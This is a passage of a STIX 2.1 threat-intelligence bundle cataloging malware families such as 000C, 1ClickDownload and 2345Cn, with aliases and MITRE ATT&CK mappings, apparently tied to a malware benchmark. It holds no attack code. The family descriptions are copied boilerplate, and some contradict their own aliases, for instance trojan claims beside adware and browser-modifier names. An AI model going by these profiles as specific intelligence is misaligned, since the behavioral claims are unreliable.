{
  "type": "bundle",
  "id": "bundle--13b57096-b394-5d2e-adec-693a07b61ddd",
  "spec_version": "2.1",
  "objects": [
    {
      "type": "identity",
      "spec_version": "2.1",
      "id": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "SystemHelpDesk MSP Threat Research Desk",
      "description": "Elite Managed Service Provider specializing in threat intelligence, malware tracking, and incident response.",
      "identity_class": "organization",
      "sectors": [
        "technology"
      ],
      "contact_information": "888-351-4380 | https://malware-families-catalog.systemhelpdesk.com/"
    },
    {
      "type": "identity",
      "spec_version": "2.1",
      "id": "identity--aee7028d-d813-5fc5-b013-18a5a13c7887",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ricky Jordan",
      "description": "Lead Cybersecurity Researcher and Principal Curator of the Malware Families Catalog.",
      "identity_class": "individual",
      "roles": [
        "lead-threat-researcher"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5a516f91-0211-5040-bea3-0f50156857ed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "000C",
      "description": "000C (classified in antivirus detection telemetry under designations including Ransom:Win32/000C, Ransom.Win32.000C, and Win32/000C) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, 000C executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/000C",
        "Ransom.Win32.000C",
        "Win32/000C"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for 000C",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/000c"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1105: Ingress Tool Transfer",
      "description": "MITRE ATT&CK Technique T1105 (Ingress Tool Transfer) under tactic Command and Control.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1105",
          "url": "https://attack.mitre.org/techniques/T1105/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2c7c0bba-3a5e-58bc-aaee-6da699a718cd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5a516f91-0211-5040-bea3-0f50156857ed",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "000C exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1055: Process Injection",
      "description": "MITRE ATT&CK Technique T1055 (Process Injection) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1055",
          "url": "https://attack.mitre.org/techniques/T1055/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--757dbc9c-890c-5656-82f1-f19e3e0843e5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5a516f91-0211-5040-bea3-0f50156857ed",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "000C exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1547.001: Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder",
      "description": "MITRE ATT&CK Technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder) under tactic Persistence.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1547.001",
          "url": "https://attack.mitre.org/techniques/T1547/001/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d66d1d6f-cf39-598d-b381-f52163e9cd69",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5a516f91-0211-5040-bea3-0f50156857ed",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "000C exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1566.001: Phishing: Spearphishing Attachment",
      "description": "MITRE ATT&CK Technique T1566.001 (Phishing: Spearphishing Attachment) under tactic Initial Access.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1566.001",
          "url": "https://attack.mitre.org/techniques/T1566/001/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bdec1bb4-af18-5e74-8fb6-7c4a29ec1958",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5a516f91-0211-5040-bea3-0f50156857ed",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "000C exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1027: Obfuscated Files or Information",
      "description": "MITRE ATT&CK Technique T1027 (Obfuscated Files or Information) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1027",
          "url": "https://attack.mitre.org/techniques/T1027/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4ff590e4-4d1f-5066-a13f-9dd713ab44bd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5a516f91-0211-5040-bea3-0f50156857ed",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "000C exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ab33d7b0-95c6-5710-a825-8c621a222681",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "0Y0Auaszpblb",
      "description": "0Y0Auaszpblb (classified in antivirus detection telemetry under designations including Ransom:Win32/0Y0Auaszpblb, Ransom.Win32.0Y0Auaszpblb, and Win32/0Y0Auaszpblb) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, 0Y0Auaszpblb executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/0Y0Auaszpblb",
        "Ransom.Win32.0Y0Auaszpblb",
        "Win32/0Y0Auaszpblb"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for 0Y0Auaszpblb",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/0y0auaszpblb"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ac00824a-c1dc-55fc-b0a0-9e58c346cd4c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab33d7b0-95c6-5710-a825-8c621a222681",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "0Y0Auaszpblb exhibits technique T1027 (Obfuscated Files or Information (Polymorphism used to evade static signatures))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1568.002: Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting)",
      "description": "MITRE ATT&CK Technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting)) under tactic Command and Control.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1568.002",
          "url": "https://attack.mitre.org/techniques/T1568/002/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3cf5ac2d-32a2-5be9-919e-8ffbe6b5ae2a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab33d7b0-95c6-5710-a825-8c621a222681",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "0Y0Auaszpblb exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2c12fd89-364a-520b-acdf-cbb84fa7a57a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab33d7b0-95c6-5710-a825-8c621a222681",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "0Y0Auaszpblb exhibits technique T1055 (Process Injection (Hiding the unpacked, malicious code inside legitimate processes))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0dc91d39-ac1a-5d81-9487-74acbf889d4f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "0Y1A48Lx2Yib",
      "description": "0Y1A48Lx2Yib (classified in antivirus detection telemetry under designations including Ransom:Win32/0Y1A48Lx2Yib, Ransom.Win32.0Y1A48Lx2Yib, and Win32/0Y1A48Lx2Yib) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, 0Y1A48Lx2Yib executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/0Y1A48Lx2Yib",
        "Ransom.Win32.0Y1A48Lx2Yib",
        "Win32/0Y1A48Lx2Yib"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for 0Y1A48Lx2Yib",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/0y1a48lx2yib"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7d9642fd-a99c-57f0-b9d4-c65092664041",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0dc91d39-ac1a-5d81-9487-74acbf889d4f",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "0Y1A48Lx2Yib exhibits technique T1027 (Obfuscated Files or Information (Polymorphism used to evade static signatures))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f8a0099f-1d72-5492-a758-e1d6f431a90d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0dc91d39-ac1a-5d81-9487-74acbf889d4f",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "0Y1A48Lx2Yib exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a96e179a-3f8d-5d6f-af47-491f04fd8b58",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0dc91d39-ac1a-5d81-9487-74acbf889d4f",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "0Y1A48Lx2Yib exhibits technique T1055 (Process Injection (Hiding the unpacked, malicious code inside legitimate processes))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--523ce15c-ba4b-5a6a-8646-fe8a4d6a66ff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "1Clickdownload",
      "description": "1ClickDownload (classified across security intelligence databases under signatures including SoftwareBundler:Win32/1ClickDownload, PUA:Win32/1ClickDownload, and Adware:Win32/1ClickDownload) is an aggressive software monetization wrapper and adware bundler active since 2013. Designed to monetize media downloads from video streaming and file-sharing sites, 1ClickDownload presents itself as a streamlined single-click download acceleration client. During installation, it employs deceptive user interface patterns (dark patterns) with pre-checked opt-in boxes to download and install secondary advertising payloads, search hijackers, and unauthorized browser helper objects. Once active on the host, 1ClickDownload intercepts browser HTTP traffic, redirects default search engine queries to sponsored monetization endpoints, and periodically pops up full-screen promotional ads, degrading system responsiveness and compromising user browsing privacy. (Observed samples in benchmark: 26)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "SoftwareBundler:Win32/1ClickDownload",
        "PUA:Win32/1ClickDownload",
        "Adware:Win32/1ClickDownload",
        "Win32/1ClickDownload",
        "1ClickDownload Bundler"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for 1Clickdownload",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/1clickdownload"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5a514598-dfb4-53c7-9197-a5da453b12f5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "1Fb728F",
      "description": "1Fb728F (classified in antivirus detection telemetry under designations including Ransom:Win32/1Fb728F, Ransom.Win32.1Fb728F, and Win32/1Fb728F) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, 1Fb728F executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/1Fb728F",
        "Ransom.Win32.1Fb728F",
        "Win32/1Fb728F"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for 1Fb728F",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/1fb728f"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f7933910-0908-59e0-86f7-984889b10d7f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5a514598-dfb4-53c7-9197-a5da453b12f5",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "1Fb728F exhibits technique T1027 (Obfuscated Files or Information (Polymorphism used to evade static signatures))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b47dcadc-aa43-57fa-adb5-df4daf5c222c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5a514598-dfb4-53c7-9197-a5da453b12f5",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "1Fb728F exhibits technique T1055 (Process Injection (Hiding the unpacked, malicious code inside legitimate processes))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1204.002: User Execution: Malicious File (Relying on the user to execute the unique payload)",
      "description": "MITRE ATT&CK Technique T1204.002 (User Execution: Malicious File (Relying on the user to execute the unique payload)) under tactic Execution.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1204.002",
          "url": "https://attack.mitre.org/techniques/T1204/002/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4c39d205-388c-5748-a58a-c0296df15483",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5a514598-dfb4-53c7-9197-a5da453b12f5",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "1Fb728F exhibits technique T1204.002 (User Execution: Malicious File (Relying on the user to execute the unique payload))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f7992b47-e594-5765-b1a7-f42fa262d539",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "2345Cn",
      "description": "2345Cn (classified in antivirus detection telemetry under designations including Trojan:Win32/2345Cn, Trojan.Win32.2345Cn, and Win32/2345Cn) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, 2345Cn executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "BrowserModifier:Win32/2345cn",
        "Adware.2345",
        "PUP.Hao123",
        "Trojan:Win32/2345Cn",
        "Trojan.Win32.2345Cn",
        "Win32/2345Cn"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for 2345Cn",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/2345cn"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1566.002: Phishing: Spearphishing Link (Social engineering to force the user to download the tool)",
      "description": "MITRE ATT&CK Technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool)) under tactic Initial Access.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1566.002",
          "url": "https://attack.mitre.org/techniques/T1566/002/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--816cd688-f161-50f9-a5bd-2f72571a3daa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f7992b47-e594-5765-b1a7-f42fa262d539",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "2345Cn exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--b772747b-96b9-52d0-8017-d1da4e3cc807",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1547.009: Boot or Logon Autostart Execution: Shortcut Modification (Altering browser shortcuts)",
      "description": "MITRE ATT&CK Technique T1547.009 (Boot or Logon Autostart Execution: Shortcut Modification (Altering browser shortcuts)) under tactic Persistence.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1547.009",
          "url": "https://attack.mitre.org/techniques/T1547/009/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ad6eea39-2b9f-5da0-a466-8fec915b4a68",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f7992b47-e594-5765-b1a7-f42fa262d539",
      "target_ref": "attack-pattern--b772747b-96b9-52d0-8017-d1da4e3cc807",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "2345Cn exhibits technique T1547.009 (Boot or Logon Autostart Execution: Shortcut Modification (Altering browser shortcuts))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1112: Modify Registry",
      "description": "MITRE ATT&CK Technique T1112 (Modify Registry) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1112",
          "url": "https://attack.mitre.org/techniques/T1112/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5e614c06-c2c3-5d58-97b3-3288a7db4b8b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f7992b47-e594-5765-b1a7-f42fa262d539",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "2345Cn exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1176: Browser Extensions",
      "description": "MITRE ATT&CK Technique T1176 (Browser Extensions) under tactic Persistence.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1176",
          "url": "https://attack.mitre.org/techniques/T1176/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fe2c854e-d729-5175-9dcf-18a71d5e10ef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f7992b47-e594-5765-b1a7-f42fa262d539",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "2345Cn exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b2cd5512-2a34-5193-8f4e-42d453440ce2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "2345Explorer",
      "description": "2345Explorer (classified in antivirus detection telemetry under designations including Trojan:Win32/2345Explorer, Trojan.Win32.2345Explorer, and Win32/2345Explorer) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, 2345Explorer executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.2345Explorer",
        "PUP.2345",
        "BrowserModifier:Win32/2345Explorer",
        "Trojan:Win32/2345Explorer",
        "Trojan.Win32.2345Explorer",
        "Win32/2345Explorer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for 2345Explorer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/2345explorer"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a6ca20a6-ca55-58dd-ac9b-c3573293c53b",
      "created": "2026-01-01T00:00:00.000Z",
